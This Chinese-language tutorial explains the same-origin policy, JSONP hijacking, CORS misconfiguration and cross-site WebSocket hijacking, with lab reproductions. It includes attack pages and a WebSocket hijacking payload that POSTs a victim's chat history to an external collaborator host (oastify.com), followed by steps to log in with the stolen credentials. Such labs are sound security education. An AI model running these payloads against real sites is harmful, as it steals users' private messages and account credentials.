总字符数: 11.95K

代码: 6.02K, 文本: 3.74K

预计阅读时间: 42 分钟

同源策略

同源策略是指在Web浏览器中,允许某个网页脚本访问另一个网页的数据,但前提是这两个网页必须有相同的URI、主机名和端口号,一旦两个网站满足上述条件,这两个网站就被认定为具有相同来源.此策略可防止某个网页上的恶意脚本通过该页面的文档对象模型访问另一网页上的敏感数据.

同源策略在Web应用程序中具有重要意义,因为它确保了不相关网站之间的严格分隔,防止数据泄露.Web应用程序通常依赖于HTTP cookie来维持用户会话,因此同源策略是必要的.

需要注意的是,同源策略仅适用于脚本.这意味着某个网站可以通过相应的HTML标签来访问不同来源网站上的图像、CSS和动态加载脚本等资源.然而,由于同源策略不适用于HTML标签,因此可能存在跨站请求伪造的漏洞.跨站请求伪造利用了这个漏洞.

URL 结果 原因
http://store.company.com/dir2/other.html 同源 只有路径不同
http://store.company.com/dir/inner/another.html 同源 只有路径不同
https://store.company.com/secure.html 失败 协议不同
http://store.company.com:81/dir/etc.html 失败 端口不同 ( http:// 默认端口是80)
http://news.company.com/dir/other.html 失败 主机不同

jsonp劫持

漏洞原理

JSONP是一种非官方的技术手段,用于跨域获取资源.它利用了script标签的src属性不受同源策略影响的特性.与官方的跨域解决方案CORSpostMessage相比,JSONP是一种常见的替代方案.

然而,需要注意的是,如果网站B没有对网站A的JSONP请求进行安全检查,直接返回数据,就会存在JSONP漏洞.这种漏洞会使网站A能够利用JSONP来获取用户在网站B上的数据.因此,网站B应该对JSONP请求进行安全检查,以防止此类漏洞的发生.

漏洞利用过程示意图

  1. 用户在网站B注册并登录后,网站B会保存用户的id、name、email等个人信息.此外,网站B还提供了一个JSONP接口,用于返回用户的个人信息.
  2. 用户通过同一浏览器向网站A发送URL.
  3. 网站A返回一个响应页面,该页面包含了恶意的JSONP回调函数和向网站B发送请求的script标签.
示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!-- 引入JavaScript脚本的标签,定义了一段客户端JavaScript代码.-->
<script type="text/javascript">
// 定义一个名为Callback的函数,它接受一个参数result.
function Callback(result)
{
// 使用alert函数弹出一个窗口,显示传入result对象的name属性.
alert(result.name);
}
// 脚本标签结束.
</script>

<!--引入JavaScript脚本的标签,包括type属性定义脚本类型,和src属性指定远程脚本的URL.-->
<!--远程脚本的URL,是一个跨域请求(即从域B.com请求数据).-->
<!--通过URL参数jsonp指定了回调函数的名字是Callback,这是JSONP技术的一部分.-->
<script type="text/javascript" src="http://B.com/user?jsonp=Callback"></script>
<!-- 使用JSONP技术的一个例子,用于跨域请求数据.-->
<!-- JSONP利用<script>标签没有跨域限制的特性,可以从其他域请求代码或数据.-->
<!-- 在这里,从http://B.com请求数据,并希望返回的JavaScript调用Callback函数.-->

​ 这段代码的作用是通过JSONP技术跨域请求数据.JSONP(JSON with Padding)是JSON的一种使用模式,可以让网页从别的域名(网站)那获取资料,即实现跨域读取数据.

在上面的代码中,Callback函数被定义为全局函数,可以被远程脚本调用.当B.com的服务器接收到这个请求后,它会发送回一个JavaScript文件,这个文件中包含了对Callback函数的调用以及所请求的数据作为参数.然后,Callback函数被执行,实际上完成了跨域数据传输.当远程服务器返回的数据到达时,Callback函数会被调用,并弹出一个包含结果中名字的警告框.

需要注意的是,因为跨域请求的安全问题,现在JSONP的使用已经比较少见,更安全和现代的方法是使用CORS(跨源资源共享)头部在API服务器上进行配置.

  1. 用户收到响应后,解析恶意代码并将回调函数作为参数,向网站B发起请求.
  2. 网站B接收到请求后,解析请求的URL,并生成包含用户信息的JSON数据.然后,将封装好的JSON数据作为回调函数的参数返回给浏览器.网站B返回的数据实例如下:
1
2
3
4
5
Callback({
"id":1,
"name":"test",
"email":"test@test.com"
})
  1. 网站B数据返回后,浏览器则自动执行Callback函数将JSON数据回传到网站A的服务器,这样网站A利用网站B的JSONP漏洞便获取到了用户在网站B注册的信息.

复现过程

jsonp.php
1
2
3
4
5
6
7
8
9
10
11
<?php
header('Content-type: application/json');
header('Access-Control-Allow-Origin:*');
header('Access-Control-Allow-Methods:GET');
header('Access-Control-Max-Age:60');
header('Access-Control-Allow-Headers:x-requested with,content-type');
header('Content-Type:application/json;charset=utf-8');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);
$arr = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4,'e' => 5);
echo json_encode($arr);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
// 设置响应头,指明内容类型为JSON
header('Content-type: application/json');
// 允许所有域名进行跨域请求
header('Access-Control-Allow-Origin:*');
// 限制HTTP方法为GET
header('Access-Control-Allow-Methods:GET');
// 指定预检请求(preflight)的结果能够被缓存多长时间
header('Access-Control-Max-Age:60');
// 允许特定的HTTP头部在跨域请求中被使用
header('Access-Control-Allow-Headers:x-requested with,content-type');
// 设置内容类型为JSON,并指定字符集为UTF-8
header('Content-Type:application/json;charset=utf-8');

// 获取请求中的jsoncallback参数,并进行HTML转义防止XSS攻击
$jsoncallback = htmlspecialchars($_REQUEST['jsoncallback']);

// 创建一个关联数组
$arr = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4,'e' => 5);

// 将数组编码为JSON格式的字符串
echo json_encode($arr);
?>

当我们正常访问此页面的内容时,可以看到如下的页面内容:

随后可以在本地的kali中启用httpserver: python3 -m http.server 8080

1.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html>
<head>
<title>jsonp</title>
</head>
<body>
<script type="text/javascript" src="https://code.jquery.com/jquery-3.1.1.min.js">
</script>
<script type="text/javascript">
$.getJSON("http://10.10.20.7:9000/jsonp.php?jsoncallback=1", function(jsonp){
alert(jsonp.b);
});
</script>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html> <!-- 声明文档类型,告诉浏览器这是HTML5文档 -->
<html>
<head>
<title>jsonp</title> <!-- 设置页面的标题为 'jsonp' -->
</head>
<body>
<!-- 引入jQuery库,jQuery是一个快速、小巧、功能丰富的JavaScript库 -->
<script type="text/javascript" src="https://code.jquery.com/jquery-3.1.1.min.js">
</script> <!-- 包含了jQuery库的脚本结束 -->
<script type="text/javascript">
// 使用jQuery获取JSON数据,这是一个简化的异步HTTP(Ajax)请求
$.getJSON("http://10.10.20.7:9000/jsonp.php?jsoncallback=1", function(jsonp){
// 定义回调函数,当请求成功返回时执行.'jsonp'变量包含了响应数据
alert(jsonp.b); // 弹出一个警告框,显示返回JSON对象中'b'属性的值
});
</script> <!-- 包含了getJSON请求的脚本结束 -->
</body>
</html>

通过访问测试页面获取到敏感参数

总结

在具备跨域且请求无token的前提下,可以采取以下步骤来检测和记录可能存在JSONP劫持漏洞的请求.

1. 监测所有请求

  • 当用户访问网站时,对浏览器发出的所有请求进行监测.

2. 检测关键字段

  • 在请求中查找关键字段,比如callback等.如果请求中包含这些关键字段,将其记录下来.

3. 检查返回数据

  • 继续访问请求并获取返回的数据.
  • 检查返回数据中是否包含uid、username等关键字,如果存在,认定为疑似JSONP劫持漏洞.

4. 向服务器发送疑似链接

  • 将疑似存在JSONP劫持漏洞的链接地址发送给服务器进行进一步验证.

需要注意的是,这个方法更适用于蜜罐场景,用于钓鱼攻击,并且属于低危漏洞.

cors跨域资源共享

基础概念

​ 跨域资源共享(CORS)是一种放宽同源策略的机制,它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制,以使不同的网站可以跨域获取数据.

CORS 定义了两种跨域请求:简单请求和非简单请求.

  1. 简单跨域请求: 使用设定的请求方式请求数据,
  2. 非简单跨域请求: 在使用设定的请求方式请求数据之前,先发送一个OPTIONS预检请求,验证请求源是否为服务端允许源 白名单.只有”预检”通过后才会再发送一次请求用于数据传输.

在跨域请求中,浏览器会对请求进行检查并根据是否是简单跨域请求采取不同的处理方式.

  1. 简单跨域请求,浏览器会直接发送请求,不做其他验证.

  2. 非简单跨域请求,浏览器会进行预检验证的过程.

CORS运行机制

  • 浏览器发送请求时,会自动在请求头中添加Origin字段,其中包含了请求来源的域名信息.
  • 服务器通过验证Origin字段来判断是否允许请求访问,从而实现浏览器的跨源访问.

CORS漏洞:

  • 浏览器自动在HTTP请求头中加上Origin字段.
  • 服务器通过判断Origin字段的值来决定是否允许读取本站资源,以防止跨站请求伪造(CSRF)等安全问题.

字段解释:

  1. Access-Control-Allow-Origin:该字段是必需的,它的值可以是请求时Origin字段的值,或者是一个通配符_,表示接受任意域名的请求.
  2. Access-Control-Allow-Credentials:该字段是可选的,它的值是一个布尔值,用于表示是否允许发送Cookie.默认情况下,CORS请求不会携带Cookie.当设置为true时,表示服务器明确允许在请求中携带Cookie.
  3. Access-Control-Expose-Headers:该字段是可选的,用于指定在CORS请求中可以访问的除了基本字段之外的其他自定义头部信息.默认情况下,XMLHttpRequest对象的getResponseHeader()方法只能获取到基本字段的值.通过在该字段中指定自定义头部信息,服务器可以让客户端能够访问到这些额外的头部信息.

复现过程

服务器端
1
2
3
4
5
6
<?php
// 设置HTTP响应头部,允许所有域名进行跨域请求
header("Access-Control-Allow-Origin:*");
// 输出包含用户名和密码的字符串
echo "username: admin; password:123456";
?>
attack
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE>
<html>
<h1>Hello I evil page</h1>
<script type="text/javascript">
function loadXMLDoc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange=function()
{
if(xhr.readyState == 4 && xhr.status == 200) //if receive xhr response
{
var datas=xhr.responseText
;
alert(datas);
}
}
//request vuln page

xhr.open("GET","http://172.16.4.192/2.php","true")
xhr.send();
}
loadXMLDoc();
</script>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE> <!-- 缺少了doctype后面应该跟的文档类型,比如 html -->
<html> <!-- HTML文档的根元素开始 -->
<h1>Hello I evil page</h1> <!-- 一个h1标题,表明页面的内容可能有恶意 -->
<script type="text/javascript"> <!-- JavaScript脚本开始 -->
function loadXMLDoc() // 定义了一个函数loadXMLDoc
{
var xhr = new XMLHttpRequest(); // 创建一个新的XMLHttpRequest对象
xhr.onreadystatechange=function() // 定义当请求的状态变化时调用的函数
{
if(xhr.readyState == 4 && xhr.status == 200) // 如果请求完成且响应状态为200(OK)
{
var datas=xhr.responseText; // 从响应中获取文本数据
alert(datas); // 将响应文本显示在一个警告框中
}
}
// 请求外部页面,可能是一个存在安全问题的页面
xhr.open("GET","http://172.16.4.192/2.php","true") // 初始化一个GET请求
xhr.send(); // 发送请求
}
loadXMLDoc(); // 调用函数,执行上述定义的请求过程
</script> <!-- JavaScript脚本结束 -->
</html> <!-- HTML文档的根元素结束 -->

html代码的意思是通过XMLHttpRequest访问URL地址,然后将获取到的内容alert出来.

websocket跨域劫持

基础概念

WebSocket协议是OSI模型应用层的一种协议,它能够在客户端(浏览器)和Web服务器之间以全双工(一种信息可以在两个方向同时循环的通信通道)进行通信.简而言之,它允许创建实时Web应用程序,比如即时消息聊天.

WebSocket技术提升了通信效率,解决了半双工导致的通信延迟问题,即传统上一次只能单向通信.与通常通过HTTP协议的客户端-服务器模型不同,客户端发送请求并等待服务器响应的单个事务模式,WebSocket建立的是持续连接,允许多个请求/响应在同一事务内流转.关键优势是服务器能够主动发送数据,而不需要客户端先发起请求.

下图说明了WebSocket如何工作(从连接到通信)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
// 创建一个新的WebSocket服务器实例,监听0.0.0.0的9502端口
$server = new Swoole\WebSocket\Server("0.0.0.0", 9502);

// 注册'open'事件回调函数,当新的WebSocket连接打开时触发
$server->on('open', function (Swoole\WebSocket\Server $server, $request) {
// 打印新连接的信息,$request->fd 是客户端的文件描述符
echo "New connection: #{$request->fd}\n";
});

// 注册'message'事件回调函数,当服务器接收到来自客户端的消息时触发
$server->on('message', function (Swoole\WebSocket\Server $server, $frame) {
// 打印收到的消息和发送者的文件描述符
echo "Received message from #{$frame->fd}: {$frame->data}\n";

// 遍历所有已建立连接的客户端
foreach ($server->connections as $fd) {
// 检查这个连接不是消息发送者本身,且连接是已经建立的
if ($fd !== $frame->fd && $server->isEstablished($fd)) {
// 给其他所有客户端推送接收到的消息
$server->push($fd, $frame->data);
}
}
});

// 注册'close'事件回调函数,当WebSocket连接关闭时触发
$server->on('close', function ($server, $fd) {
// 打印关闭连接的客户端文件描述符
echo "Connection closed: #{$fd}\n";
});

// 启动WebSocket服务器
$server->start();

可能的攻击和安全风险

WebSockets 提供了全双工通信渠道,适于实时应用程序如即时消息传递.但是,它不内置任何特定的安全措施,导致可能存有与HTTP类似的安全漏洞.

以下是可能面临的一些主要安全问题:

  1. 身份验证机制缺失 - WebSocket本身不提供身份验证机制,通常需要利用cookiesJWTHTTP身份验证来实现.在安全测试中,应确认是否有身份验证系统,并且是否正确实现.

  2. 授权问题 - WebSocket没有内置的授权管理系统,使得攻击者可能通过提升权限或访问其他用户数据进行攻击.访问控制应该在测试中被详尽地评估.

  3. 数据传输风险 - WebSocket数据传输默认不加密,类似HTTP,可能受到中间人攻击.应当使用WebSocket Secure(wss)并通过TLS加密数据.

  4. 跨站点WebSocket劫持(CSWH) - 类似于CSRF攻击,WebSocket可能受到跨站点劫持,特别是当身份认证基于cookies时.必须在握手请求中为每个会话添加难以预测的唯一令牌以防止此类攻击.

为确保WebSocket通信的安全,应实施综合的安全策略,包括有效的身份验证、授权检查、输入清理和使用加密通道.

复现过程

手动使用Burp Collaborator的大致流程是:

  1. 生成Collaborator有效负载,它们是Collaborator服务器域的子域.
  2. 将有效负载插入到请求中并将请求发送到目标应用程序.
  3. 轮询Collaborator服务器,查看应用程序是否使用注入的有效负载与任何网络服务交互.
  1. 点击”实时聊天”并发送聊天消息.
  2. 刷新页面.
  3. Burp ProxyWebSockets历史记录选项卡中,观察到READY命令从服务器检索过往的聊天消息.
  4. Burp ProxyHTTP历史记录选项卡中,找到WebSocket握手请求.注意到请求中没有CSRF令牌.
  5. 右键点击握手请求并选择”复制URL”.
  6. 在浏览器中,点击Go to exploit server并将以下模板粘贴到”正文”部分:
1
2
3
4
5
6
7
8
9
<script>
var ws = new WebSocket('wss://0a4b001903a78d00830983880084004a.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://gscvabn1ekkskohh354x4glbv21tpjd8.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<script>
// 创建一个新的WebSocket连接,将URL替换成目标WebSocket握手的URL
var ws = new WebSocket('wss://your-websocket-url');

// 当WebSocket连接成功打开后触发
ws.onopen = function() {
// 向WebSocket服务器发送"READY"命令以请求聊天历史记录
ws.send("READY");
};

// 当WebSocket接收到服务器发来的消息时触发
ws.onmessage = function(event) {
// 使用fetch API向攻击者的服务器发送请求,将接收到的消息作为POST请求的内容
// 这一步实际上是将窃取到的数据"汇报"给攻击者
fetch('https://your-collaborator-url', {
method: 'POST', // 使用POST方法
mode: 'no-cors', // 无需跨域资源共享(CORS)的预检请求
body: event.data // 消息数据作为请求的主体
});
};
</script>
  1. 将你的WebSocket URL替换为WebSocket握手的URL(your-lab-id.web-security-academy.net/chat).确保你把协议从https://更改为wss://.将你的Collaborator URL替换为由Burp Collaborator客户端生成的有效载荷.

    collaborator通常指的是一个协作工具或服务,它可用于帮助发现和诊断远程的、可能不易观察的安全漏洞.这类工具经常在渗透测试和安全评估中使用,其工作原理通常涉及监听并记录外部系统发起的DNS查询、HTTP请求和其他网络活动.

    ​ 例如:在用于安全测试的工具Burp Suite中,Burp Collaborator可以用来检测盲注的服务端安全漏洞,例如:盲注SQL注入、盲注命令注入、服务器端请求伪造(SSRF)等.当应用程序在处理用户的输入时引发了一个到Collaborator服务器的后台HTTP请求或DNS查询,这可能表明存在一个漏洞点,因为数据被发送到了控制者(即安全测试人员)的服务器.

  2. Burp Suite中的Collaborator工具检查是否有请求发来,以此来确认你的攻击是否成功获取了聊天记录,并且这些记录是否被发送到了Collaborator.

  3. 对于聊天中的每一条消息,Collaborator都会接收到一个HTTP请求,这些请求包含JSON格式的聊天内容,但消息顺序可能是错的.

  4. 返回到攻exploit server,点击Deliver exploit to victim按钮.

  5. 再次用Collaborator工具检查,这次你会看到更多包含受害者聊天记录的请求.

  6. 在这些消息中找到受害者的用户名和密码.

  7. 使用刚才找到的用户名和密码登录受害者的账户.